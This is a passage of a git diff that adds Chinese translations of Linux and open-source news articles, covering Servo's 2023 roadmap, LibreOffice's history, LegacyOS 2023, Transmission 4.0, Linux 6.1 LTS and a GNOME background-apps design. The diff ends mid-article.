+ +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/elementary-os-7-installation-guide/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://elementary.io/ +[2]: https://www.linuxtechi.com/create-bootable-usb-disk-dvd-ubuntu-linux-mint/ +[3]: https://www.linuxtechi.com/wp-content/uploads/2023/02/BootScreen-elementaryOS7.png?ezimgfmt=ng:webp/ngcb22 +[4]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Keyboard-Layout-ElementaryOS7-Installation.png?ezimgfmt=ng:webp/ngcb22 +[5]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Keyboard-Layout-ElementaryOS7-Installation.png?ezimgfmt=ng:webp/ngcb22 +[6]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Installation-Type-ElementaryOS7.png?ezimgfmt=ngcb22/notWebP +[7]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Select-Drive-for-elementaryOS7-Installation.png?ezimgfmt=ng:webp/ngcb22 +[8]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Encryption-Drive-ElementaryOS7-Installation.png?ezimgfmt=ng:webp/ngcb22 +[9]: https://www.linuxtechi.com/wp-content/uploads/2023/02/ElementaryOS7-Installation-Progress.png?ezimgfmt=ng:webp/ngcb22 +[10]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Restart-Device-After-elementaryOS7-Installation.png?ezimgfmt=ng:webp/ngcb22 +[11]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Create-Local-Account-ElementaryOS7.png?ezimgfmt=ng:webp/ngcb22 +[12]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Login-screen-elementaryos7.png?ezimgfmt=ng:webp/ngcb22 +[13]: https://www.linuxtechi.com/wp-content/uploads/2023/02/ElementaryOS7-Welcome-Screen.png?ezimgfmt=ng:webp/ngcb22 +[14]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Get-Started-ElementaryOS7.png?ezimgfmt=ng:webp/ngcb22 +[15]: https://www.linuxtechi.com/wp-content/uploads/2023/02/Desktop-Screen-ElementaryOS7-After-Installation.png +[0]: https://img.linux.net.cn/data/attachment/album/202302/19/143743asfmbfrt7mc1tczb.jpg \ No newline at end of file diff --git a/published/202302/20230206.3 ⭐️⭐️ Mozilla's Abandoned Servo Web Engine is Making a Comeback in 2023.md b/published/202302/20230206.3 ⭐️⭐️ Mozilla's Abandoned Servo Web Engine is Making a Comeback in 2023.md new file mode 100644 index 0000000000..68e5437f6c --- /dev/null +++ b/published/202302/20230206.3 ⭐️⭐️ Mozilla's Abandoned Servo Web Engine is Making a Comeback in 2023.md @@ -0,0 +1,101 @@ +[#]: subject: "Mozilla's Abandoned Servo Web Engine is Making a Comeback in 2023" +[#]: via: "https://news.itsfoss.com/mozilla-servo-web-engine/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "ChatGPT" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15518-1.html" + +Mozilla 放弃的 Servo 浏览器引擎将在 2023 年重新回归 +====== + +> 根据其开发规划,开源的 Rust 驱动的 Servo 浏览器引擎计划返回该领域。 + +![Mozilla 放弃的 Servo 浏览器引擎将在 2023 年重新回归][1] + +> 编辑按:此文的翻译是一次 AI 实验。它基本上是使用 ChatGPT 翻译完成的,我将英文分成几段发给 ChatGPT,并和它探讨了如何翻译更好、如何保留 Markdown 标记和遵循《中英文排版指北》的要求。在往复了几次之后,ChatGPT 基本上可以给出还算满意的答复,有些地方超乎我的预期,有些地方则不如我用来对照的 DeepL。在最终发表前,我还稍做了润色。 +> +> 另外,由于在一个小时内提交了太多的请求而被限流,所以还等待了一段时间。 +> +> 最后,我请 ChatGPT 给这次实验和阅读这篇文章的读者说几句。 +> +> > **编辑**:好了,翻译完了,感谢您的工作。这次翻译是一次实验,用来看看像你这样的 AI 可以在翻译方面做到什么程度。最后,我想请你给看到这篇译文的读者说几句。 +> > +> > **ChatGPT**:感谢您对我们进行翻译能力的评估。作为 OpenAI 训练的大型语言模型,我们致力于提供高质量的翻译服务。我们希望未来能够继续为您的语言需求提供支持,让沟通变得更加容易。 + +Servo 是一个基于 Rust 的实验性浏览器引擎,最初由 Mozilla 的研究部门开发,但后来 [转移][2] 到 [Linux 基金会][3] 作为一个社区维护的项目。 + +从那时起,尽管参与的成员一直在努力,但没有重大的发展。 + +直到现在。 + +随着团队发布了一份充满希望的规划,2023 年 Servo 的前景正在改善。 + +让我带你了解一下。 + +### 📢 2023 年路线图:概览 + +![Servo 项目的 2023 年路线图][4] + +由于在 1 月份获得了 [新的资金][5],Servo 项目 **复活** 了。 + +为了确保目标的明确,开发团队发布了今年的路线图,以展示其计划的良好前景。 + +关于这一点,他们还补充说: + +> 我们正在重启所有通常的活动,包括 PR 整理和审查、项目的公共沟通、安排 [TSC][6] 会议。我们还将进行一些外部宣传,以吸引更多的协作者、合作伙伴,和有兴趣合作、参与与资助项目的潜在赞助商。 + +他们还共享了 7 个他们想要在 2023 年实现的目标: + +**重新激活项目**:这是第一阶段,将持续到 2023 年底,涉及重新激活整个 Servo 项目。 + +**项目推广**:在项目重新活跃起来的 [GitHub][7] 页面的推动下,他们计划宣传该项目,进行一些推广努力。这将吸引更多的协作者、公司和伙伴,他们可能对贡献或资助项目感兴趣。 + +**主要依赖项升级**:Servo 的几个依赖项将得到改进,因为它们比较陈旧,需要升级,例如 [WebRender][8] 和 [Stylo][9]。 + +**布局引擎选择**:Servo 目前有两个布局引擎:2013(原引擎)和2020(新引擎)。他们将与贡献者和社区一起决定选择哪个作为长期发展的引擎。 + +**对基本 CSS2 支持的进展**:在完成上述两件事后,他们计划朝着基本的 [CSS2 符合性][10] 努力。 + +**探索安卓支持**:他们希望探索支持安卓平台以及其他平台的可能性,因为他们已经在过去对该平台进行了试验。 + +**可嵌入的浏览器引擎实验**:对于路线图的最后阶段,他们的目标是将 Servo 变成一个“可嵌入的浏览器渲染引擎”。团队也在探索这方面的可能性,让某种 Servo 演示在嵌入式设备上运行,或者研究现有的项目,如 [Tauri][11]。 + +你可以通过 [官方公告][12] 了解更多关于该路线图的信息。 + +### 总结 + +一个用 Rust 开发的网页引擎可以产生奇迹,比基于 [Blink][13] 或 [Gecko][14] 的替代品更优秀。 + +此外,我们几乎每天使用的浏览器再多一个开源替代品不应该是一件坏事,它将让我们有更多选择。 + +💬 你对 Servo 计划重新开始,并专注于回到最初设计的轨道上有什么看法? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/mozilla-servo-web-engine/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[ChatGPT](https://chat.openai.com/) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/02/mozilla-web-servo-comeback.png +[2]: https://servo.org/blog/2020/11/17/servo-home/ +[3]: https://www.linuxfoundation.org +[4]: https://news.itsfoss.com/content/images/2023/02/Servo_Roadmap.jpg +[5]: https://servo.org/blog/2023/01/16/servo-2023/ +[6]: https://servo.org/governance/tsc/ +[7]: https://github.com/servo +[8]: https://github.com/servo/webrender +[9]: https://wiki.mozilla.org/Quantum/Stylo +[10]: https://www.w3.org/TR/1998/REC-CSS2-19980512/conform.html +[11]: https://tauri.app +[12]: https://servo.org/blog/2023/02/03/servo-2023-roadmap/ +[13]: https://www.chromium.org/blink/ +[14]: https://developer.mozilla.org/en-US/docs/Glossary/Gecko diff --git a/published/202302/20230207.1 ⭐️⭐️ A brief history of LibreOffice.md b/published/202302/20230207.1 ⭐️⭐️ A brief history of LibreOffice.md new file mode 100644 index 0000000000..7c66ebe1a0 --- /dev/null +++ b/published/202302/20230207.1 ⭐️⭐️ A brief history of LibreOffice.md @@ -0,0 +1,104 @@ +[#]: subject: "A brief history of LibreOffice" +[#]: via: "https://opensource.com/article/23/2/libreoffice-history" +[#]: author: "Italo Vignoli https://opensource.com/users/italovignoli" +[#]: collector: "lkxed" +[#]: translator: "onionstalgia" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15558-1.html" + +LibreOffice 简史 +====== + +![][0] + +> LibreOffice 的起源故事,它是一个开源的办公解决方案,确保你总是能够访问你的数据并控制你的创造力。 + +在 2009 年初,OpenOffice.org(OOo)还是微软 Office 在个人办公生产力套件市场的主要竞争对手。这个流行的开源办公套件的社区,期待着 11 月在意大利奥尔维耶托举行的研讨会。事情进展顺利,未来看起来很光明。 + +可这之后,同年 4 月,甲骨文公司Oracle 宣布了对 太阳计算机系统公司Sun Microsystems 的收购计划。 + +就个人而言,我觉得这对 OpenOffice.org 来说是个坏消息。甲骨文对开源套件没有兴趣,我料想它会放弃这个项目。当然,我更希望在研讨会上被证明是我想错了。但到最后,甲骨文只派了一名代表来到奥尔维耶托,乏善可陈,含糊其辞地谈论了货币化和品牌重塑。我和其他社区成员们都觉得,最担心的事情成真了。 + +那一年,社区成员从奥尔维耶托返程之后决定采取行动。是时候兑现 OpenOffice.org 项目的承诺了。我们决心创建一个独立的基金会来管理项目的资产,在社区的保护下促进套件的开发。OpenOffice.org 将不再隶属于哪一家公司,而是属于它的用户和个人贡献者们。 + +### 建立基金会 + +当时,OpenOffice.org 项目分布在世界各地,在语言社区帮助下进行本地化和推广,其中最主要的四个是: + +- 德国:该软件诞生于德国,而且 Star Division(负责 OpenOffice.org 的部门)的总部也在汉堡,因此开发者群体和德语支持者之间沟通顺畅。 +- 法国:政府支持这个开源软件。 +- 意大利:我所在的小组。 +- 巴西。 + +2010 年初,在法国和德国语言社区的倡议下,最活跃的志愿者 —— 连同一些独立开发者和 SUSE 的开发者们 —— 着手建立了一个复刻项目,旨在作为一个额外的选择,让全球社区和投资 OpenOffice.org 的企业能够同时参与进来。 + +我在国际商业咨询机构已有超过 30 年的工作经验了。在这个项目中负责市场营销和战略沟通。 + +随后的几个月里,活动越发忙碌。由于从 Star Division 传来的消息越来越负面,每周都得召开一次电话会议。 + +即使 OpenOffice.org 的解散似乎迫在眉睫,我们还是通过发布文章征稿(CFP)的方式,确认了位于布达佩斯的研讨会仍将举办。当然,复刻项目的成员在做的也和往年别无二致。他们提交了演讲提案并制定了旅行计划。 + +### 一个安全的文件存放处 + +夏初,复刻项目几乎要完成了。我们的小组在布达佩斯开会评估 OpenOffice.org 方面的境况,并召开了第一次面对面的组织会议。 + +布达佩斯的研讨会进行得很顺利,为期三天日程中举行了会议、主题演讲和技术研讨。一切似乎还算平常。 + +可其实并不平常。 + +当几位领头人没去参加会议的主要社交活动 —— 多瑙河上过夜巡游的时候,一些与会者开始有些疑虑了。其实我们没参加这次活动,是因为我们在餐厅开会敲定新基金会的最终细节,有太多事情要确保万无一失。我们必须定下公告日期,并且,为了协调基金会落地的各项任务,需要确定指导委员会的人员组成。 + +### LibreOffice + +从这次会议到 LibreOffice 发布间隔了三周,我们紧锣密鼓地准备。我拟好了发布策略和新闻稿,开发者们为软件做准备。应用的名字甚至是在发布的前几天的一次电话会议上敲定的,那时我在格罗塞托,正在参加意大利开源软件社区会议。 + +2010 年 9 月 28 日,我把宣布“文档基金会The Document Foundation”和 LibreOffice 的新闻稿分发到一个包含约 250 名记者的全球邮件列表中,这列表可是我根据供职过的公共关系机构的来信,花了很大力气整理的。 + +新闻稿是这样的: + +> 开发和推广 OpenOffice.org 的志愿者社区宣布将成立一个独立的基金会,推动项目的进一步发展。基金会将成为一个新的生态系统的基石,在这里,个人和组织都可以为一个真正免费的办公套件做出贡献,并从中受益。从用户的利益出发,这将带来更多的竞争和选择,并推动办公套件市场的创新。从现在开始,OpenOffice.org 社区将被称为“文档基金会The Document Foundation”。 + +我们邀请过 Oracle 成为基金会的成员,并捐赠社区在过去十年中发展起来的品牌。而在他们做出决定之前,我们选择了 LibreOffice 作为即将到来的软件的品牌。 + +媒体界对这一公告的反应非常积极。但另一方面,企业和分析师则倾向于对由社区管理的办公套件表示质疑,这是他们从未完全理解的实体,因为这个组织很扁平、任人唯贤。 + +公告发布后的两周内,就有 80 位新开发者加入这个项目,推翻了那些认为“仅凭 SUSE 和 Red Hat 的开发者来启动复刻项目并不现实”的预测。不出所料,大多数语言社区都转向了 LibreOffice。 + +LibreOffice 是基于 OpenOffice.org 的源代码构建的。但新的功能被集成在 Go-OOGo-Open Office 的源代码中,而不是在 OpenOffice.org(OOo)上。 + +出于这个原因,LibreOffice 的第一个版本(于 2011 年 1 月 25 日发布)为 3.3,以保持与 OpenOffice.org 的一致性。我们认为这对于从第一个版本迁移到新套件的用户很有帮助。由于还有必须解决的明显技术债务,该软件仍有点不成熟,这导致了一些问题和不稳定。这些问题预计将基本上通过 3.x 和 4.x 版本的代码清理和重构得到纠正。到了 5.x 和 6.x 版本,源代码应该已经稳定,并有条件改进用户界面,以及开发移动和云版本。 + +2011 年春天,甲骨文将 OpenOffice.org 源代码转让给了 Apache 软件基金会。但该项目仅持续了三年,它的上一个新版本已经是将近十年前的事了。 + +### 未来是开放的 + +文档基金会的组建过程于 2012 年初结束,并于 2012 年 2 月 17 日在柏林有关部门完成注册。因为创始人希望该项目的志愿者成员们也可以根据贡献成为基金会成员,这让注册过程十分漫长。德国的法规并未考虑到基金会的这一细节,因此需要对章程进行多次修订才能满足现有状况。 + +基金会成立之初的前两项活动都是委员会成员的选举。这是从单纯的志愿者过渡到基于贡献的文档基金会成员所必经的规程。有委员五人,副委员三人。最后,负责在行政和战略方面领导基金会的董事会,由七名成员和三名副手组成。 + +2012 年底,基金会聘请了第一位雇员 Florian Effenberger,在后来他被提升为执行董事。今天,这个团队有十几个成员,他们负责日常活动,例如协调项目、行政管理、网络基础设施管理、软件发布、指导新的开发人员、协调质量保证、用户界面的演进、以及营销和沟通。 + +目前,基金会正在寻找开发人员满足企业客户需求,例如 RTL 语言管理和辅助功能。这些功能并不是由 LibreOffice 生态系统中的公司开发的,这些公司为他们提供功能开发服务、三级支持以及为企业需求优化的软件的长期支持版本。 + +在 LibreOffice 和文档基金会宣布成立已经过去 12 年之后,我们可以说,我们已经实现了开发一个独立的“自由和开源软件free and open source(FOSS)”的项目目标。我们的项目是基于一个由个人志愿者和公司量力而行做出贡献的扩展社区。参与者们帮助创建了无与伦比的免费办公套件,并通过采用和发展现有市场上唯一真正的标准办公文档格式Open Document Format(ODF)来支持开放标准。同时,该套件也确保了与专有的 OOXML 格式的出色兼容性。 + +这种模式的可持续性是一个日常问题。身处于与大型科技公司的激烈竞争下,我们一直在尝试,试图在“希望一切都免费”,和“希望每个用户都能力所能及做出贡献”之间达成一种平衡。不过无论如何,LibreOffice 都会是开源的办公套件,这提供了竞争之上的额外价值。 + +试试 LibreOffice 吧;捐赠;不论是工作还是业余,支持它;向你的朋友介绍它!LibreOffice 是一个开源的办公解决方案,它确保你总是能够访问你的数据,并掌控你的创造力。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/libreoffice-history + +作者:[Italo Vignoli][a] +选题:[lkxed][b] +译者:[onionstalgia](https://github.com/onionstalgia) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/italovignoli +[b]: https://github.com/lkxed/ + +[0]: https://img.linux.net.cn/data/attachment/album/202302/20/191328egg1odg1gegdgd91.jpg \ No newline at end of file diff --git a/published/202302/20230207.2 ⭐️ Lightweight Distro LegacyOS 2023 Released After Nine Years.md b/published/202302/20230207.2 ⭐️ Lightweight Distro LegacyOS 2023 Released After Nine Years.md new file mode 100644 index 0000000000..e5e87353bb --- /dev/null +++ b/published/202302/20230207.2 ⭐️ Lightweight Distro LegacyOS 2023 Released After Nine Years.md @@ -0,0 +1,71 @@ +[#]: subject: "Lightweight Distro LegacyOS 2023 Released After Nine Years" +[#]: via: "https://debugpointnews.com/legacy-os-2023-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15574-1.html" + +轻量化发行版 LegacyOS 历经九年后发布 2023 版本 +====== + +![][1] + +> 在将近十年后,基于 Debian 的 Legacy OS 2023 发布了,并带来了新的应用程序。 + +![Legacy OS 2023 桌面][2] + +在此之前,Legacy OS 的最后一个版本发布于 2014 年。它旨在成为一个基于 Puppy Linux 的通用轻量级发行版,具有完整的应用程序、软件包、媒体编解码器等。目的是为旧电脑提供完整的操作系统。但是,该发行版在 2014 年之后停止了发布,直到现在。 + +### Legacy OS 2023 发布 + +基于 antiX 的新版 Legacy OS 2023 发布有了根本性的变化。它现在基于 Debian 的稳定分支(版本 11 “bullseye”),而不是 Puppy Linux。因此,你可以期望它更加稳定,其提供 Ice WM 作为默认窗口管理器。那些使用 IceWM 的人知道它有多快。这个版本也不例外。 + +除了 IceWM,Legacy OS 还预装了大量的默认应用程序。默认的文件管理器是 PCManFM,还包括 ROX 文件管理器。此外,所有 antiX 原生应用程序都也预装了,其中包括 antiX 更新程序和用户管理器。Synaptic 软件管理器以及一个单独的 CLI 包管理器也被预装在内。 + +图形软件包括用于高级绘图工作的 GIMP 和 Inkscape。此外,MyPaint、mtPaint、Peek 屏幕录制器、屏幕截图和 ImageMagick 库也默认安装。 + +如果你需要办公软件的话,Legacy OS 预装了 OnlyOffice 套件,Scribus 排版工具和 Dia 图表编辑器。 + +![应用程序列表很长][3] + +网络软件包括 Firefox ESR 浏览器、Thunderbird 邮件客户端、gFTP 客户端、Transmission 种子客户端和 NetSurf 浏览器。 + +如果你是一个开发者的话,Geany 和 VIM 代码编辑器是默认安装的。此外,强大的笔记应用 Cherrytree、必不可少的记事本应用 Leafpad 和白板应用 Xournal 是一些主要的应用程序,这使得它成为一个全能的、轻量级的发行版。 + +这些只是一些主要的应用程序,系统预装了近 100 个应用程序,而只占用了 7 GB 的磁盘空间。 + +这个发行版的性能真的是轻量级的,因为它并未使用 systemd,并使用了 IceWM。它在空闲状态下只使用 200 MB 的内存,这让我感到惊讶。总体而言,桌面性能非常快。 + +![性能出乎意料的好][4] + +它使用 Calamares 安装程序,非常适合旧版本。但是,它现在只提供 64 位版本,但团队正在开发 32 位版本,很快就会发布。 + +我认为这是一个很值得一试的发行版,我们很高兴它又回来了。团队承诺将来会有定期的发布。 + +你可以从下面的链接下载 ISO 镜像文件。请记住,立付Live介质的默认用户 ID 是 “demo”,密码也是 “demo”。 + +> **[下载 Legacy OS][5]** + +- 参考自 [官方公告][6] + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/legacy-os-2023-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/02/legacyoshead1.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2023/02/Legacy-OS-2023-Desktop.jpg +[3]: https://debugpointnews.com/wp-content/uploads/2023/02/The-application-list-is-huge.jpg +[4]: https://debugpointnews.com/wp-content/uploads/2023/02/Performance-is-suprisingly-good.jpg +[5]: https://sourceforge.net/projects/legacyoslinux/files/LegacyOS_2023_x64/ +[6]: https://wikka.puppylinux.com/LegacyOS diff --git a/published/202302/20230208.0 ⭐️ Transmission 4.0 Upgrade is Here After Two Years.md b/published/202302/20230208.0 ⭐️ Transmission 4.0 Upgrade is Here After Two Years.md new file mode 100644 index 0000000000..50c7484e55 --- /dev/null +++ b/published/202302/20230208.0 ⭐️ Transmission 4.0 Upgrade is Here After Two Years.md @@ -0,0 +1,98 @@ +[#]: subject: "Transmission 4.0 Upgrade is Here After Two Years" +[#]: via: "https://news.itsfoss.com/transmission-4-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15568-1.html" + +时隔两年,Transmission 4.0 升级版来了 +====== + +> BitTorrent 客户端 Transmission 4.0 版本已经发布,带来了急需的功能升级和改进。 + +![时隔两年,Transmission 4.0升级版来了][1] + +BitTorrent 是一种流行的 HTTP 的替代方式,用于在互联网上分享或下载文件。你可能知道,有许多各具特色的 BitTorrent 客户端。 + +Transmission 就是这样一个开源的、轻量级的 BitTorrent 客户端。 + +该应用程序的上一个稳定版本是近两年前发布的。虽然在此期间没有看到新的版本,但该项目仍在积极开发中。 + +### Transmission 4.0 有什么新内容? + +新版本带来了大量的新功能和改进。这包括 IPv6 封锁、BitTorrent v2支持、改版的网络客户端等等。 + +以下是一些重要的亮点: + +#### 对 BitTorrent v2 和混合 Torrent 的支持 + +BitTorrent v2 是现有 BitTorrent 协议的更新版本,带来了一些有用的技术进步。 + +另一方面,混合 Torrent 确保了与旧版 BitTorrent v1 的向后兼容性。 + +请注意,这个版本只能让你使用 v2 和混合 Torrent。而要创建 v2 和混合 Torrent ,你需要等待下一个版本。 + +#### 默认跟踪器的使用 + +用户现在应该发现,通过设置默认的跟踪器,可以更容易地公布或请求公开的 Torrent。 + +#### IPv6 封锁列表 + +现在包括对 IPv6 封锁的支持。 + +如果你遇到网络问题而想默认使用 IPv4,这很有用。 + +在某些情况下,VPN 用户可能也喜欢这个功能,因为许多 VPN 服务器可能不能很好地支持 IPv6,这可能导致数据泄露。 + +#### 新的隐私友好功能 + +用户有时喜欢在创建 Torrent 时不包括用户身份或相关信息。 + +有一个新的选项正是为了这个目的而添加的,它排除了这些细节信息。 + +#### 🛠️其他变化和改进 + +除了上面列出的变化外,考虑到他们已经开发了一年多,还有大量的改进! + +其中一些值得注意的改进包括: + +- 更好的资源利用。 +- 将代码从 C 语言迁移到 C++ 语言。 +- 在创建新 Torrent 时能够指定片断大小。 +- 支持 Qt 6。 +- 基于 GTKMM 的 GTK 客户端。 +- 更好的网络客户端用户界面,包括对移动屏幕的支持。 +- 支持 macOS 苹果芯片。 + +你可以前往其 [GitHub 发布区][2] 了解完整的发布说明。 + +### 下载 Transmission 4.0 + +官方资源库和 Flathub 还没有最新的版本可用。 + +因此,你必须从其 [官方下载页面][3] 或 [GitHub 发布部分][2] 下载并解压 tar.xz 文件。 + +然后,从源码构建它以获得安装。 + +> **[Transmission 4.0][3]** + +你可以在同一页上找到其他平台的软件包。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/transmission-4-release/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed/ +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/11/transmission-4-0.png +[2]: https://github.com/transmission/transmission/releases/tag/4.0.0 +[3]: https://transmissionbt.com/download diff --git a/published/202302/20230209.0 ⭐️ Linux Kernel 6.1 is Now Approved as an LTS Version.md b/published/202302/20230209.0 ⭐️ Linux Kernel 6.1 is Now Approved as an LTS Version.md new file mode 100644 index 0000000000..ed99b5c098 --- /dev/null +++ b/published/202302/20230209.0 ⭐️ Linux Kernel 6.1 is Now Approved as an LTS Version.md @@ -0,0 +1,79 @@ +[#]: subject: "Linux Kernel 6.1 is Now Approved as an LTS Version" +[#]: via: "https://news.itsfoss.com/linux-kernel-6-1-is-now-an-lts-version/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15532-1.html" + +Linux 6.1 内核被批准为长期支持版本 +====== + +> 作为 2022 年的最后一个内核,经过一个多月的等待,现在 Linux 6.1 被批准为长期支持版本。 + +![Linux 6.1 内核被批准为长期支持版本][1] + +Linux 6.1 内核是 2022 年的最后一个内核版本,通常这些版本会被批准为长期支持版本。 + +但是这次,将其作为 LTS 版本的决定被推迟了。 + +在决定是否将其用于长期使用之前,还在等待一些来自内核相关人员的关键反馈的测试结果。 + +幸好,这些问题已经得到解决,现在 **Linux 6.1 是一个长期支持版本**。 + +让我带你了解这一举措的要点。 + +### Linux 6.1 现在正在成为长期支持版本 + +自从 12 月份发布以来,Linux 稳定分支维护者 **Greg Kroah-Hartman** 就计划将 Linux 6.1 作为一个长期支持版本,但是一些待定的反馈导致该决定被推迟了。 + +现在,他和共同维护者 Sasha Levin 终于收到了足够的反馈,表明将 Linux 内核 6.1 作为一个长期支持版本维护是合理的。 + +按照目前的情况,Linux 6.1 内核预期将于 **2026 年 12 月** 结束支持,如果有足够多的用户或公司对其感兴趣,那么它的生命周期可能会延长。 + +![一张描述当前 Linux 长期支持版本的表格][2] + +最初,它的生命周期被计划为 2 年,但是后来被更新为了 **当前的 4 年**。 + +你还会注意到,同时许多 Linux 内核都被作为长期支持版本维护。 + +### Linux 6.1 内核:概述 + +如果你错过了这个版本,下面是 Linux 内核 6.1 的一些亮点: + +- 对 Rust 的实验性支持 +- 对 AMD PC 的优化 +- 对英特尔 Meteor Lake 的初始支持 +- 优化 ARM 架构 SoC 的支持 + +这些并不是新版本的全部内容;你可以阅读我们的文章以了解更多信息。 + +> **[Linux 内核 6.1 发布,初步支持 Rust][9]** + +参考自:[Phoronix][3] + +💬 考虑到这是一个长期支持版本,你可以预见到很多未来的发行版升级将会包含 Linux 6.1 内核。你认为你会更喜欢使用哪个版本? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-kernel-6-1-is-now-an-lts-version/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed/ +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/02/linux-6-1-to-be-lts.png +[2]: https://news.itsfoss.com/content/images/2023/02/Linux_Kernel_LTS.jpg +[3]: https://www.phoronix.com/news/Linux-6.1-LTS-Official +[4]: https://itsfoss.com/signup/ +[5]: https://itsfoss.com/flatpak-vs-snap/ +[6]: https://www.socallinuxexpo.org/scale/20x +[7]: https://news.itsfoss.com/upcoming-code-editors/ +[8]: https://news.itsfoss.com/new-distros-2023/ +[9]: https://news.itsfoss.com/linux-kernel-6-1-release/ \ No newline at end of file diff --git a/published/202302/20230209.1 ⭐️ GNOME is (kind of) Bringing Back a Feature It Had Removed a Few Years Ago.md b/published/202302/20230209.1 ⭐️ GNOME is (kind of) Bringing Back a Feature It Had Removed a Few Years Ago.md new file mode 100644 index 0000000000..2415eb273e --- /dev/null +++ b/published/202302/20230209.1 ⭐️ GNOME is (kind of) Bringing Back a Feature It Had Removed a Few Years Ago.md @@ -0,0 +1,83 @@ +[#]: subject: "GNOME is (kind of) Bringing Back a Feature It Had Removed a Few Years Ago" +[#]: via: "https://news.itsfoss.com/gnome-design-quick-access/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "SJFCS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15551-1.html" + +GNOME 正在(某种程度上)恢复在几年前删除的功能 +====== + +> GNOME 的设计做了一些有意义的变化,它(某种程度上)带回了一个它早先删除的类似功能。 + +![GNOME 正在(某种程度上)恢复它几年前删除的功能][1] + +几年前,GNOME 移除了应用程序的菜单和指示器。 + +如果你不太清楚,应用程序指示器是一种从顶部面板与后台运行的应用程序进行交互的方式。 + +是的,你可以 [添加一个应用程序指示器的扩展][2] 来获得同样的功能。但是,在使用 GNOME 桌面环境的发行版上,如 Fedora,你不再能找到默认的能力。 + +然而,Ubuntu,它的一些 [官方版本][3],以及其他发行版如 Pop!_OS,支持系统托盘图标,尽管 GNOME 放弃了它们。 + +现在,经过多年的设计变化,看起来我们可能会看到类似的东西。 + +### GNOME 将添加一个检查后台活动程序的简便方法 + +目前,在没有活动窗口的情况下,找出在后台运行的应用程序并没有简便的方法。 + +你必须使用 [任务管理器][4] 或 [系统监控工具][5] 以获得更好的观测能力。 + +在未来的 GNOME 版本中(可能是 GNOME 44),你或许可以期待有一个功能可以直接从顶部面板的菜单面板上监控后台运行的应用程序。 + +![GNOME 设计模拟图,用于从通知菜单中检查后台应用程序][6] + +[Allan Day][7] 的想法仍在讨论中,他分享了一个 [设计模拟图][8]。不过,它很有可能会被接受。 + +这个想法也促使开发者 [Georges Basile Stavracas Neto][9] 披露了 Flatpak 的 xdg-desktop-portal 组件,它可以使得检测运行中的 Flatpak 应用程序变得容易。 + +> 📋 检查后台应用程序这个功能的位置或设计仍在进行中;你在上面看到的内容可能会随着最终的实施而改变。 + +### 这是否也会使应用指示器回归? + +并非如此。 + +通过这个功能,GNOME 